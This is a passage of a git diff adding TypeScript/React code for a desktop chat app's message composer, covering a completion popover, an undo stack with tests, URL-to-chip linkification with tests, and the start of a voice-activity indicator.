+function rowKind(item: Unstable_TriggerItem, isSlash: boolean): string {
+  const meta = item.metadata as (RowMeta & { rawText?: string }) | undefined
+
+  if (isSlash) {
+    const group = meta?.group?.trim()
+
+    return group === 'Skills' ? 'skill' : group === 'Themes' ? 'theme' : 'command'
+  }
+
+  // The gateway's simple refs (`@diff`, `@staged`) share one item type, so the
+  // glyph comes from the directive itself.
+  const raw = meta?.rawText || item.label
+
+  if (raw.startsWith('@diff')) {
+    return 'diff'
+  }
+
+  if (raw.startsWith('@staged')) {
+    return 'staged'
+  }
+
+  return item.type
+}
+
+const ROW_CLASS = [
+  'relative flex w-full cursor-default select-none items-center gap-2 rounded-md px-2 py-1 text-left',
+  'outline-hidden transition-colors hover:bg-(--ui-bg-tertiary)',
+  'data-[highlighted]:bg-(--ui-bg-tertiary) data-[highlighted]:text-foreground'
+].join(' ')
+
+const GROUP_HEADER_CLASS =
+  'select-none px-2 pb-0.5 text-[0.625rem] font-semibold uppercase tracking-wider text-(--ui-text-tertiary)'
+
+interface ComposerTriggerPopoverProps {
+  activeIndex: number
+  items: readonly Unstable_TriggerItem[]
+  kind: '@' | '/' | ':'
+  loading: boolean
+  onHover: (index: number) => void
+  onPick: (item: Unstable_TriggerItem) => void
+  placement?: 'bottom' | 'top'
+  /** The `@kind:` browse the list is filtered to, when there is one. Rendered
+   *  as a header so the scope reads as the mode it is — the raw `@folder:` in
+   *  the editor otherwise looks like syntax the user has to finish by hand. */
+  scope?: DirectiveScope
+}
+
+/**
+ * The composer's completion list, for every trigger.
+ *
+ * `@` and `/` render through the SAME row: icon, name, description. They used
+ * to be two layouts in one file — `@` horizontal with an icon, `/` stacked with
+ * none — which is why picking a file and picking a skill felt like features
+ * from different apps. Icons and accents come from the shared reference
+ * vocabulary, so a row looks like the chip it will become.
+ *
+ * `:` emoji is the one exception: the emoji IS the icon, so it renders as a
+ * single display string (Slack's exact shape).
+ */
+export function ComposerTriggerPopover({
+  activeIndex,
+  items,
+  kind,
+  loading,
+  onHover,
+  onPick,
+  placement = 'top',
+  scope
+}: ComposerTriggerPopoverProps) {
+  const { t } = useI18n()
+  const copy = t.composer
+  const isSlash = kind === '/'
+  const isEmoji = kind === ':'
+
+  let lastGroup: string | undefined
+
+  return (
+    <div
+      className={placement === 'bottom' ? COMPLETION_DRAWER_BELOW_CLASS : COMPLETION_DRAWER_CLASS}
+      data-slot="composer-completion-drawer"
+      data-state="open"
+      onMouseDown={event => event.preventDefault()}
+      role="listbox"
+    >
+      {scope && <div className={cn(GROUP_HEADER_CLASS, 'pt-0.5')}>{referenceStyle(scope).label}</div>}
+      {items.length === 0 ? (
+        loading ? (
+          <div className="flex items-center gap-2 px-2 py-1.5 text-(--ui-text-tertiary)">
+            <GlyphSpinner ariaLabel={copy.lookupLoading} className="text-foreground/70" spinner="braille" />
+            <span>{copy.lookupLoading}</span>
+          </div>
+        ) : (
+          <CompletionDrawerEmpty title={copy.lookupNoMatches}>
+            {kind === '@' ? (
+              <>
+                {copy.lookupTry} <span className="font-mono text-foreground/80">@file:</span> {copy.lookupOr}{' '}
+                <span className="font-mono text-foreground/80">@folder:</span>.
+              </>
+            ) : isEmoji ? (
+              <>
+                {copy.lookupTry} <span className="font-mono text-foreground/80">:joy:</span>.
+              </>
+            ) : (
+              <>
+                {copy.lookupTry} <span className="font-mono text-foreground/80">/help</span>.
+              </>
+            )}
+          </CompletionDrawerEmpty>
+        )
+      ) : (
+        items.map((item, index) => {
+          const meta = item.metadata as RowMeta | undefined
+          const display = meta?.display ?? (isSlash ? `/${item.label}` : item.label)
+          const description = meta?.meta || item.description
+          const group = meta?.group?.trim()
+          const showHeader = isSlash && Boolean(group) && group !== lastGroup
+          const isFirstHeader = lastGroup === undefined
+          lastGroup = group || lastGroup
+          const active = index === activeIndex
+          const refKind = referenceKind(rowKind(item, isSlash))
+
+          return (
+            <Fragment key={item.id}>
+              {showHeader && <div className={cn(GROUP_HEADER_CLASS, isFirstHeader ? 'pt-0.5' : 'pt-2')}>{group}</div>}
+              <button
+                className={ROW_CLASS}
+                data-highlighted={active ? '' : undefined}
+                onClick={() => onPick(item)}
+                onMouseEnter={() => onHover(index)}
+                type="button"
+              >
+                {isEmoji ? (
+                  // The emoji is its own icon — a glyph column beside it reads
+                  // as decoration.
+                  <span className="min-w-0 shrink truncate leading-5 text-foreground">{display}</span>
+                ) : (
+                  <>
+                    <span className="grid size-4 shrink-0 place-items-center text-(--ref-color)" data-ref={refKind}>
+                      <Codicon name={referenceStyle(refKind).codicon} size="0.875rem" />
+                    </span>
+                    <span className="min-w-0 shrink truncate font-medium leading-5 text-foreground">{display}</span>
+                    {description && (
+                      <span className="min-w-0 flex-1 truncate leading-5 text-(--ui-text-tertiary)">{description}</span>
+                    )}
+                  </>
+                )}
+              </button>
+            </Fragment>
+          )
+        })
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/composer/types.ts b/ui-desktop/src/app/chat/composer/types.ts
new file mode 100644
index 000000000..4c813e8cf
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/types.ts
@@ -0,0 +1,65 @@
+import type { ReactNode } from 'react'
+
+import type { SubmitTextOptions } from '@/app/session/hooks/use-prompt-actions/utils'
+import type { ClawCodexGateway } from '@/clawcodex'
+
+import type { DroppedFile } from '../hooks/use-composer-actions'
+
+export interface ContextSuggestion {
+  text: string
+  display: string
+  meta?: string
+}
+
+export interface QuickModelOption {
+  provider: string
+  providerName: string
+  model: string
+}
+
+export interface ChatBarState {
+  model: {
+    model: string
+    provider: string
+    canSwitch: boolean
+    loading?: boolean
+    quickModels?: QuickModelOption[]
+    /** Reused status-bar dropdown (built with gateway + selectModel upstream). */
+    modelMenuContent?: ReactNode
+  }
+  tools: { enabled: boolean; label: string; suggestions?: ContextSuggestion[] }
+  voice: { enabled: boolean; active: boolean }
+}
+
+export interface ChatBarProps {
+  busy: boolean
+  disabled: boolean
+  focusKey?: string | null
+  maxRecordingSeconds?: number
+  state: ChatBarState
+  gateway?: ClawCodexGateway | null
+  queueSessionKey?: string | null
+  sessionId?: string | null
+  cwd?: string | null
+  onCancel: () => Promise<void> | void
+  onAddContextRef?: (refText: string, label?: string, detail?: string) => void
+  onAddUrl?: (url: string) => void
+  onAttachImageBlob?: (blob: Blob) => Promise<boolean | void> | boolean | void
+  onAttachDroppedItems?: (candidates: DroppedFile[]) => Promise<boolean | void> | boolean | void
+  onPasteClipboardImage?: (opts?: { silent?: boolean }) => Promise<boolean> | void
+  onPickFiles?: () => void
+  onPickFolders?: () => void
+  onPickImages?: () => void
+  onRemoveAttachment?: (id: string) => void
+  onSteer?: (text: string) => Promise<boolean> | boolean
+  onSubmit: (value: string, options?: SubmitTextOptions) => Promise<boolean> | boolean
+  onTranscribeAudio?: (audio: Blob) => Promise<string>
+}
+
+export type VoiceStatus = 'idle' | 'recording' | 'transcribing'
+
+export interface VoiceActivityState {
+  elapsedSeconds: number
+  level: number
+  status: VoiceStatus
+}
diff --git a/ui-desktop/src/app/chat/composer/undo-history.test.ts b/ui-desktop/src/app/chat/composer/undo-history.test.ts
new file mode 100644
index 000000000..5ce477a80
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/undo-history.test.ts
@@ -0,0 +1,245 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+
+import {
+  caretOffsetInEditor,
+  composerPlainText,
+  placeCaretAtOffset,
+  refChipElement,
+  renderComposerContents,
+  RICH_INPUT_SLOT
+} from './rich-editor'
+import { createComposerUndoHistory, isRedoShortcut, isUndoShortcut } from './undo-history'
+
+const key = (over: Partial<KeyboardEvent> = {}) =>
+  ({ altKey: false, ctrlKey: false, key: 'z', metaKey: false, shiftKey: false, ...over }) as KeyboardEvent
+
+describe('undo/redo shortcut recognition', () => {
+  it('claims Cmd+Z and Ctrl+Z as undo, but not with Shift or Alt', () => {
+    expect(isUndoShortcut(key({ metaKey: true }))).toBe(true)
+    expect(isUndoShortcut(key({ ctrlKey: true }))).toBe(true)
+    expect(isUndoShortcut(key({ metaKey: true, shiftKey: true }))).toBe(false)
+    expect(isUndoShortcut(key({ altKey: true, metaKey: true }))).toBe(false)
+    expect(isUndoShortcut(key({ key: 'a', metaKey: true }))).toBe(false)
+    expect(isUndoShortcut(key())).toBe(false)
+  })
+
+  it('claims Cmd+Shift+Z everywhere and Ctrl+Y as redo', () => {
+    expect(isRedoShortcut(key({ metaKey: true, shiftKey: true }))).toBe(true)
+    expect(isRedoShortcut(key({ ctrlKey: true, shiftKey: true }))).toBe(true)
+    expect(isRedoShortcut(key({ ctrlKey: true, key: 'y' }))).toBe(true)
+    expect(isRedoShortcut(key({ metaKey: true }))).toBe(false)
+    expect(isRedoShortcut(key({ altKey: true, ctrlKey: true, key: 'y' }))).toBe(false)
+  })
+
+  it('never treats one keystroke as both undo and redo', () => {
+    const chords = [
+      key({ metaKey: true }),
+      key({ ctrlKey: true }),
+      key({ metaKey: true, shiftKey: true }),
+      key({ ctrlKey: true, shiftKey: true }),
+      key({ ctrlKey: true, key: 'y' })
+    ]
+
+    for (const chord of chords) {
+      expect(isUndoShortcut(chord) && isRedoShortcut(chord)).toBe(false)
+    }
+  })
+})
+
+describe('composer undo history', () => {
+  const snap = (text: string, caret = text.length) => ({ caret, text })
+
+  it('steps back through discrete edits, newest first', () => {
+    const history = createComposerUndoHistory()
+
+    history.record(snap(''))
+    history.record(snap('a'))
+    history.record(snap('ab'))
+
+    expect(history.undo(snap('abc'))?.text).toBe('ab')
+    expect(history.undo(snap('ab'))?.text).toBe('a')
+    expect(history.undo(snap('a'))?.text).toBe('')
+    expect(history.undo(snap(''))).toBeNull()
+  })
+
+  it('redoes back to the state undo left, and stops at the newest', () => {
+    const history = createComposerUndoHistory()
+
+    history.record(snap('before'))
+
+    const undone = history.undo(snap('before + pasted'))
+
+    expect(undone?.text).toBe('before')
+    expect(history.redo(snap('before'))?.text).toBe('before + pasted')
+    expect(history.redo(snap('before + pasted'))).toBeNull()
+  })
+
+  it('restores the caret along with the text', () => {
+    const history = createComposerUndoHistory()
+
+    history.record({ caret: 3, text: 'hello world' })
+
+    expect(history.undo({ caret: 0, text: 'changed' })).toEqual({ caret: 3, text: 'hello world' })
+  })
+
+  it('collapses a run of typing into one entry, so undo steps back by a burst', () => {
+    let now = 1_000
+    const history = createComposerUndoHistory(200, () => now)
+
+    history.record(snap(''), { coalesce: true })
+    now += 50
+    history.record(snap('h'), { coalesce: true })
+    now += 50
+    history.record(snap('he'), { coalesce: true })
+
+    // One burst → one entry, back to the state before the burst started.
+    expect(history.undo(snap('hel'))?.text).toBe('')
+    expect(history.undo(snap(''))).toBeNull()
+  })
+
+  it('starts a new entry once the typing pause exceeds the coalesce window', () => {
+    let now = 1_000
+    const history = createComposerUndoHistory(200, () => now)
+
+    history.record(snap(''), { coalesce: true })
+    now += 5_000
+    history.record(snap('word one'), { coalesce: true })
+
+    expect(history.undo(snap('word one two'))?.text).toBe('word one')
+    expect(history.undo(snap('word one'))?.text).toBe('')
+  })
+
+  it('does not coalesce a paste into the typing burst that preceded it', () => {
+    let now = 1_000
+    const history = createComposerUndoHistory(200, () => now)
+
+    history.record(snap(''), { coalesce: true })
+    now += 20
+    // A paste is a discrete edit — no coalesce flag.
+    history.record(snap('typed '))
+
+    expect(history.undo(snap('typed PASTED'))?.text).toBe('typed ')
+    expect(history.undo(snap('typed '))?.text).toBe('')
+  })
+
+  it('drops the redo stack once a new edit lands', () => {
+    const history = createComposerUndoHistory()
+
+    history.record(snap('one'))
+    history.undo(snap('one two'))
+    history.record(snap('one'))
+
+    expect(history.redo(snap('one three'))).toBeNull()
+  })
+
+  it('ignores a no-op edit so undo never looks stuck for a press', () => {
+    const history = createComposerUndoHistory()
+
+    history.record(snap('same'))
+    history.record(snap('same'))
+
+    expect(history.undo(snap('same'))?.text).toBe('same')
+    expect(history.undo(snap('same'))).toBeNull()
+  })
+
+  it('bounds the stack, discarding the oldest entries', () => {
+    const history = createComposerUndoHistory(3)
+
+    for (const text of ['a', 'b', 'c', 'd', 'e']) {
+      history.record(snap(text))
+    }
+
+    expect(history.undo(snap('f'))?.text).toBe('e')
+    expect(history.undo(snap('e'))?.text).toBe('d')
+    expect(history.undo(snap('d'))?.text).toBe('c')
+    expect(history.undo(snap('c'))).toBeNull()
+  })
+
+  it('reset clears both directions', () => {
+    const history = createComposerUndoHistory()
+
+    history.record(snap('a'))
+    history.undo(snap('ab'))
+    history.reset()
+
+    expect(history.undo(snap('ab'))).toBeNull()
+    expect(history.redo(snap('ab'))).toBeNull()
+  })
+})
+
+describe('caret offsets in composerPlainText coordinates', () => {
+  let editor: HTMLDivElement
+
+  beforeEach(() => {
+    editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    document.body.append(editor)
+  })
+
+  const caretAfter = (node: Node, offset: number) => {
+    const range = document.createRange()
+    const selection = window.getSelection()!
+    range.setStart(node, offset)
+    range.collapse(true)
+    selection.removeAllRanges()
+    selection.addRange(range)
+  }
+
+  it('round-trips a caret in plain text', () => {
+    renderComposerContents(editor, 'hello world')
+    placeCaretAtOffset(editor, 5)
+
+    expect(caretOffsetInEditor(editor)).toBe(5)
+  })
+
+  it('counts a chip as its whole @kind:value text', () => {
+    editor.append(
+      document.createTextNode('see '),
+      refChipElement('file', '`src/a.ts`'),
+      document.createTextNode(' now')
+    )
+
+    const chipText = '@file:`src/a.ts`'
+    // Caret at the very end = everything before it.
+    placeCaretAtOffset(editor, composerPlainText(editor).length)
+
+    expect(caretOffsetInEditor(editor)).toBe(4 + chipText.length + 4)
+  })
+
+  it('lands the caret before a chip rather than splitting it', () => {
+    editor.append(document.createTextNode('a '), refChipElement('file', '`x.ts`'))
+
+    // An offset that falls midway through the chip's serialized text.
+    placeCaretAtOffset(editor, 2 + 3)
+
+    expect(caretOffsetInEditor(editor)).toBe(2)
+  })
+
+  it('counts a line break as one character', () => {
+    renderComposerContents(editor, 'one\ntwo')
+    placeCaretAtOffset(editor, 5)
+
+    expect(caretOffsetInEditor(editor)).toBe(5)
+    expect(composerPlainText(editor)).toBe('one\ntwo')
+  })
+
+  it('clamps past-the-end offsets to the end instead of throwing', () => {
+    renderComposerContents(editor, 'short')
+    placeCaretAtOffset(editor, 999)
+
+    expect(caretOffsetInEditor(editor)).toBe(5)
+  })
+
+  it('reports the end when the selection is outside the editor', () => {
+    renderComposerContents(editor, 'hello')
+
+    const outside = document.createElement('div')
+    outside.textContent = 'elsewhere'
+    document.body.append(outside)
+    caretAfter(outside.firstChild!, 3)
+
+    expect(caretOffsetInEditor(editor)).toBe(5)
+
+    outside.remove()
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/undo-history.ts b/ui-desktop/src/app/chat/composer/undo-history.ts
new file mode 100644
index 000000000..62bed71be
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/undo-history.ts
@@ -0,0 +1,126 @@
+/**
+ * The composer's own undo stack.
+ *
+ * The rich editor mutates its DOM through `Range` rather than the browser's
+ * editing commands — `execCommand('insertText')` is ~O(n²) on large multiline
+ * blobs and froze the composer for seconds on a big paste (#45812). The cost of
+ * that bypass is that those mutations never reach Chromium's undo stack, so
+ * ⌘Z skipped straight past a paste and undid whatever came *before* it, leaving
+ * the pasted text stranded.
+ *
+ * Owning the whole stack is the only coherent fix: a half-owned one interleaves
+ * our snapshots with Chromium's own typing entries and undoes them out of order.
+ * So every composer edit — typed or programmatic — records here, and the editor
+ * intercepts ⌘Z / ⌘⇧Z instead of letting the native command run.
+ *
+ * Snapshots are plain text + a caret offset, not DOM: the editor already
+ * round-trips losslessly through `composerPlainText`/`renderComposerContents`,
+ * so text is the smallest thing that fully restores a state.
+ */
+
+export interface ComposerSnapshot {
+  caret: number
+  text: string
+}
+
+/** Consecutive typing inside this window collapses into one undo entry, so ⌘Z
+ *  steps back by a burst the way a native editor does — not one character. */
+const COALESCE_WINDOW_MS = 600
+
+const DEFAULT_LIMIT = 200
+
+export interface ComposerUndoHistory {
+  /** Drop all history and start over from `snapshot`'s state (session swap). */
+  reset: () => void
+  /** Redo one step. `current` is the live state, banked for a subsequent undo. */
+  redo: (current: ComposerSnapshot) => ComposerSnapshot | null
+  /** Bank the state that existed *before* an edit. `coalesce` merges this into
+   *  the previous entry when it lands inside the typing window. */
+  record: (previous: ComposerSnapshot, options?: { coalesce?: boolean }) => void
+  /** Undo one step. `current` is the live state, banked for a subsequent redo. */
+  undo: (current: ComposerSnapshot) => ComposerSnapshot | null
+}
+
+export function createComposerUndoHistory(
+  limit = DEFAULT_LIMIT,
+  now: () => number = () => Date.now()
+): ComposerUndoHistory {
+  let past: ComposerSnapshot[] = []
+  let future: ComposerSnapshot[] = []
+  let lastRecordedAt = 0
+  let lastWasCoalescable = false
+
+  const record: ComposerUndoHistory['record'] = (previous, options) => {
+    const coalesce = options?.coalesce ?? false
+    const at = now()
+    const merges = coalesce && lastWasCoalescable && past.length > 0 && at - lastRecordedAt < COALESCE_WINDOW_MS
+
+    lastRecordedAt = at
+    lastWasCoalescable = coalesce
+    // A fresh edit invalidates anything the user had redone past.
+    future = []
+
+    // Merging keeps the OLDER snapshot — the entry already holds the state from
+    // the start of the burst, which is what ⌘Z should step back to.
+    if (merges) {
+      return
+    }
+
+    // A no-op edit (same text) would make ⌘Z look broken for one press.
+    if (past[past.length - 1]?.text === previous.text) {
+      return
+    }
+
+    past.push(previous)
+
+    if (past.length > limit) {
+      past = past.slice(past.length - limit)
+    }
+  }
+
+  const step = (from: ComposerSnapshot[], to: ComposerSnapshot[], current: ComposerSnapshot) => {
+    const next = from.pop()
+
+    if (!next) {
+      return null
+    }
+
+    to.push(current)
+    // Any traversal ends the typing burst, so the next keystroke opens a new entry.
+    lastWasCoalescable = false
+
+    return next
+  }
+
+  return {
+    record,
+    redo: current => step(future, past, current),
+    reset: () => {
+      past = []
+      future = []
+      lastRecordedAt = 0
+      lastWasCoalescable = false
+    },
+    undo: current => step(past, future, current)
+  }
+}
+
+/** True for the keystroke that means "undo" (⌘Z / Ctrl+Z, without Shift). */
+export function isUndoShortcut(event: Pick<KeyboardEvent, 'altKey' | 'ctrlKey' | 'key' | 'metaKey' | 'shiftKey'>) {
+  return (event.metaKey || event.ctrlKey) && !event.altKey && !event.shiftKey && event.key.toLowerCase() === 'z'
+}
+
+/** True for "redo" — ⌘⇧Z everywhere, plus Ctrl+Y on Windows/Linux. */
+export function isRedoShortcut(event: Pick<KeyboardEvent, 'altKey' | 'ctrlKey' | 'key' | 'metaKey' | 'shiftKey'>) {
+  if (event.altKey) {
+    return false
+  }
+
+  const key = event.key.toLowerCase()
+
+  if ((event.metaKey || event.ctrlKey) && event.shiftKey && key === 'z') {
+    return true
+  }
+
+  return event.ctrlKey && !event.metaKey && !event.shiftKey && key === 'y'
+}
diff --git a/ui-desktop/src/app/chat/composer/url-dialog.tsx b/ui-desktop/src/app/chat/composer/url-dialog.tsx
new file mode 100644
index 000000000..922ba96ea
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/url-dialog.tsx
@@ -0,0 +1,82 @@
+import type * as React from 'react'
+
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { useI18n } from '@/i18n'
+import { Globe } from '@/lib/icons'
+
+const URL_HINT = /^https?:\/\//i
+
+export function UrlDialog({
+  inputRef,
+  onChange,
+  onOpenChange,
+  onSubmit,
+  open,
+  value
+}: {
+  inputRef: React.RefObject<HTMLInputElement | null>
+  onChange: (value: string) => void
+  onOpenChange: (open: boolean) => void
+  onSubmit: () => void
+  open: boolean
+  value: string
+}) {
+  const { t } = useI18n()
+  const c = t.composer
+  const trimmed = value.trim()
+  const looksLikeUrl = trimmed.length > 0 && URL_HINT.test(trimmed)
+
+  return (
+    <Dialog onOpenChange={onOpenChange} open={open}>
+      <DialogContent bodyClassName="gap-5" className="max-w-md">
+        <DialogHeader>
+          <DialogTitle icon={Globe}>{c.attachUrlTitle}</DialogTitle>
+          <DialogDescription>{c.attachUrlDesc}</DialogDescription>
+        </DialogHeader>
+        <form
+          className="grid gap-4"
+          onSubmit={e => {
+            e.preventDefault()
+            onSubmit()
+          }}
+        >
+          <div className="grid gap-1.5">
+            <Input
+              autoComplete="off"
+              autoCorrect="off"
+              inputMode="url"
+              onChange={e => onChange(e.target.value)}
+              placeholder={c.urlPlaceholder}
+              ref={inputRef}
+              spellCheck={false}
+              value={value}
+            />
+            {trimmed.length > 0 && !looksLikeUrl && (
+              <p className="text-xs text-muted-foreground/85">
+                {c.urlHintPre}
+                <span className="font-mono">https://…</span>
+              </p>
+            )}
+          </div>
+          <DialogFooter>
+            <Button onClick={() => onOpenChange(false)} type="button" variant="ghost">
+              {t.common.cancel}
+            </Button>
+            <Button disabled={!looksLikeUrl} type="submit">
+              {c.attach}
+            </Button>
+          </DialogFooter>
+        </form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/ui-desktop/src/app/chat/composer/url-refs.test.ts b/ui-desktop/src/app/chat/composer/url-refs.test.ts
new file mode 100644
index 000000000..febbd533c
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/url-refs.test.ts
@@ -0,0 +1,98 @@
+import type { KeyboardEvent } from 'react'
+import { describe, expect, it } from 'vitest'
+
+import { composerPlainText, RICH_INPUT_SLOT } from './rich-editor'
+import { chipTypedUrlOnSpace, linkifyUrls } from './url-refs'
+
+/** An editor holding `text` with a collapsed caret at `caret`, plus the space
+ *  keydown the composer would hand `chipTypedUrlOnSpace`. */
+const spaceOn = (text: string, caret: number) => {
+  const editor = document.createElement('div')
+  editor.dataset.slot = RICH_INPUT_SLOT
+  editor.textContent = text
+  document.body.append(editor)
+
+  const selection = window.getSelection()!
+  const range = document.createRange()
+
+  range.setStart(editor.firstChild!, caret)
+  range.collapse(true)
+  selection.removeAllRanges()
+  selection.addRange(range)
+
+  return { editor, event: { currentTarget: editor, key: ' ' } as KeyboardEvent<HTMLDivElement> }
+}
+
+describe('linkifyUrls', () => {
+  it('rewrites a bare link as a url directive', () => {
+    expect(linkifyUrls('https://example.dev/a/b')).toBe('@url:`https://example.dev/a/b`')
+  })
+
+  it('keeps the link in place mid-sentence and leaves its punctuation behind', () => {
+    expect(linkifyUrls('read https://example.dev/a. then stop')).toBe('read @url:`https://example.dev/a`. then stop')
+  })
+
+  it('keeps balanced parens but drops the one that closed the sentence', () => {
+    expect(linkifyUrls('(see https://en.wikipedia.org/wiki/A_(b))')).toBe(
+      '(see @url:`https://en.wikipedia.org/wiki/A_(b)`)'
+    )
+  })
+
+  it('rewrites every link in a multi-link paste', () => {
+    expect(linkifyUrls('http://a.dev and https://b.dev')).toBe('@url:`http://a.dev` and @url:`https://b.dev`')
+  })
+
+  it('leaves a link that is already a directive alone', () => {
+    expect(linkifyUrls('@url:`https://example.dev`')).toBe('@url:`https://example.dev`')
+  })
+
+  it('leaves text without a scheme alone', () => {
+    expect(linkifyUrls('example.dev/a and src/foo.ts')).toBe('example.dev/a and src/foo.ts')
+  })
+})
+
+describe('chipTypedUrlOnSpace', () => {
+  it('chips a link typed right before the caret and adds the space', () => {
+    const { editor, event } = spaceOn('see https://example.dev/a', 25)
+
+    expect(chipTypedUrlOnSpace(event)).toBe(true)
+    expect(composerPlainText(editor)).toBe('see @url:`https://example.dev/a` ')
+
+    editor.remove()
+  })
+
+  it('keeps sentence punctuation outside the chip', () => {
+    const { editor, event } = spaceOn('https://example.dev.', 20)
+
+    expect(chipTypedUrlOnSpace(event)).toBe(true)
+    expect(composerPlainText(editor)).toBe('@url:`https://example.dev`. ')
+
+    editor.remove()
+  })
+
+  it('ignores a caret that is not sitting on a link', () => {
+    const { editor, event } = spaceOn('https://example.dev is nice', 27)
+
+    expect(chipTypedUrlOnSpace(event)).toBe(false)
+    expect(composerPlainText(editor)).toBe('https://example.dev is nice')
+
+    editor.remove()
+  })
+
+  it('ignores a scheme with no host yet', () => {
+    const { editor, event } = spaceOn('https://', 8)
+
+    expect(chipTypedUrlOnSpace(event)).toBe(false)
+
+    editor.remove()
+  })
+
+  it('leaves a modified space alone', () => {
+    const { editor, event } = spaceOn('https://example.dev', 19)
+
+    expect(chipTypedUrlOnSpace({ ...event, altKey: true })).toBe(false)
+    expect(composerPlainText(editor)).toBe('https://example.dev')
+
+    editor.remove()
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/url-refs.ts b/ui-desktop/src/app/chat/composer/url-refs.ts
new file mode 100644
index 000000000..580abdc1c
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/url-refs.ts
@@ -0,0 +1,103 @@
+/**
+ * Bare-link recognition for the composer. A link the user pastes or types is the
+ * same thing the "+ → Add URL" dialog inserts, so it becomes an `@url:`
+ * directive: a chip that truncates instead of a wall of URL text, and a
+ * reference the gateway resolves.
+ */
+import type { KeyboardEvent } from 'react'
+
+import { quoteRefValue, REF_RE, refChipElement, replaceBeforeCaret } from './rich-editor'
+import { textBeforeCaret } from './text-utils'
+
+// An explicit scheme only — `example.com` bare is too easy to hit by accident
+// (a filename, a version, a sentence). Brackets and quotes fence a URL in prose;
+// parens don't, so they stay in and an unbalanced tail is trimmed below.
+const URL_RE = /https?:\/\/[^\s<>[\]{}"'`]+/gi
+const TYPED_URL_RE = /(?:^|\s)(https?:\/\/[^\s<>[\]{}"'`]+)$/i
+
+/** A URL at the end of a sentence carries the punctuation that ended it. */
+function splitUrlTail(raw: string) {
+  let url = raw.replace(/[,.;:!?]+$/, '')
+
+  while (url.endsWith(')') && url.split(')').length > url.split('(').length) {
+    url = url.slice(0, -1)
+  }
+
+  return { trailing: raw.slice(url.length), url }
+}
+
+/** A URL needs a host past the scheme to be worth chipping. */
+const hasHost = (url: string) => /^https?:\/\/[^/\s]/i.test(url)
+
+/** Rewrite bare links in `text` as `@url:` directives, leaving links that are
+ *  already part of a directive alone. Returns `text` unchanged when there are
+ *  none. */
+export function linkifyUrls(text: string) {
+  REF_RE.lastIndex = 0
+
+  const fenced = Array.from(text.matchAll(REF_RE)).map(match => {
+    const start = match.index ?? 0
+
+    return { end: start + match[0].length, start }
+  })
+
+  let out = ''
+  let cursor = 0
+
+  for (const match of text.matchAll(URL_RE)) {
+    const start = match.index ?? 0
+    const { url } = splitUrlTail(match[0])
+
+    if (!hasHost(url) || fenced.some(span => start >= span.start && start < span.end)) {
+      continue
+    }
+
+    out += `${text.slice(cursor, start)}@url:${quoteRefValue(url)}`
+    cursor = start + url.length
+  }
+
+  return out + text.slice(cursor)
+}
+
+/** A plain space finishing a typed link commits it as a chip (followed by
+ *  whatever punctuation ended it, then the space). Returns whether it ran, so a
+ *  keydown handler can fall through on anything else. */
+export function chipTypedUrlOnSpace(event: KeyboardEvent<HTMLDivElement>) {
+  if (event.key !== ' ' || event.metaKey || event.ctrlKey || event.altKey) {
+    return false
+  }
+
+  const editor = event.currentTarget
+
+  // Runs on every space, so bail on the cheap native read before paying for the
+  // caret range walk (same guard shape as the trigger detector).
+  if (!editor.textContent?.includes('://')) {
+    return false
+  }
+
+  const before = textBeforeCaret(editor)
+  const match = before ? TYPED_URL_RE.exec(before) : null
+  const token = match?.[1]
+
+  if (!token) {
+    return false
+  }
+
+  const { trailing, url } = splitUrlTail(token)
+
+  if (!hasHost(url)) {
+    return false
+  }
+
+  const fragment = document.createDocumentFragment()
+
+  fragment.append(refChipElement('url', quoteRefValue(url)))
+
+  if (trailing) {
+    fragment.append(document.createTextNode(trailing))
+  }
+
+  fragment.append(document.createTextNode(' '))
+
+  return replaceBeforeCaret(editor, token.length, fragment)
+}
diff --git a/ui-desktop/src/app/chat/composer/voice-activity.tsx b/ui-desktop/src/app/chat/composer/voice-activity.tsx
new file mode 100644
index 000000000..bd1f33036
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/voice-activity.tsx
@@ -0,0 +1,252 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useRef } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { useI18n } from '@/i18n'
+import { iconSize, Loader2, Mic, Volume2, VolumeX } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { stopVoicePlayback } from '@/lib/voice-playback'
+import { $voicePlayback } from '@/store/voice-playback'
+
+import type { VoiceActivityState } from './types'
+
+type BrowserAudioContext = typeof AudioContext
+
+interface ElementAnalyser {
+  analyser: AnalyserNode
+}
+
+const elementAnalysers = new WeakMap<HTMLAudioElement, ElementAnalyser>()
+let playbackAudioContext: AudioContext | null = null
+
+function getPlaybackAudioContext(): AudioContext | null {
+  if (playbackAudioContext && playbackAudioContext.state !== 'closed') {
+    return playbackAudioContext
+  }
+
+  const audioWindow = window as Window & { webkitAudioContext?: BrowserAudioContext }
+  const AudioContextCtor = window.AudioContext || audioWindow.webkitAudioContext
+
+  if (!AudioContextCtor) {
+    return null
+  }
+
+  playbackAudioContext = new AudioContextCtor()
+
+  return playbackAudioContext
+}
+
+function formatElapsed(seconds: number) {
+  const safeSeconds = Math.max(0, Math.floor(seconds))
+  const minutes = Math.floor(safeSeconds / 60)
+  const remainingSeconds = safeSeconds % 60
+
+  return `${minutes}:${remainingSeconds.toString().padStart(2, '0')}`
+}
+
+function VoiceLevelBars({ level, active }: { active: boolean; level: number }) {
+  const normalized = Math.max(0, Math.min(level, 1))
+  const bars = [0.5, 0.78, 1, 0.78, 0.5]
+
+  return (
+    <div aria-hidden="true" className="flex h-4 items-center gap-0.5">
+      {bars.map((weight, index) => {
+        const height = active ? 0.25 + Math.min(0.68, normalized * weight) : 0.25
+
+        return (
+          <span
+            className={cn(
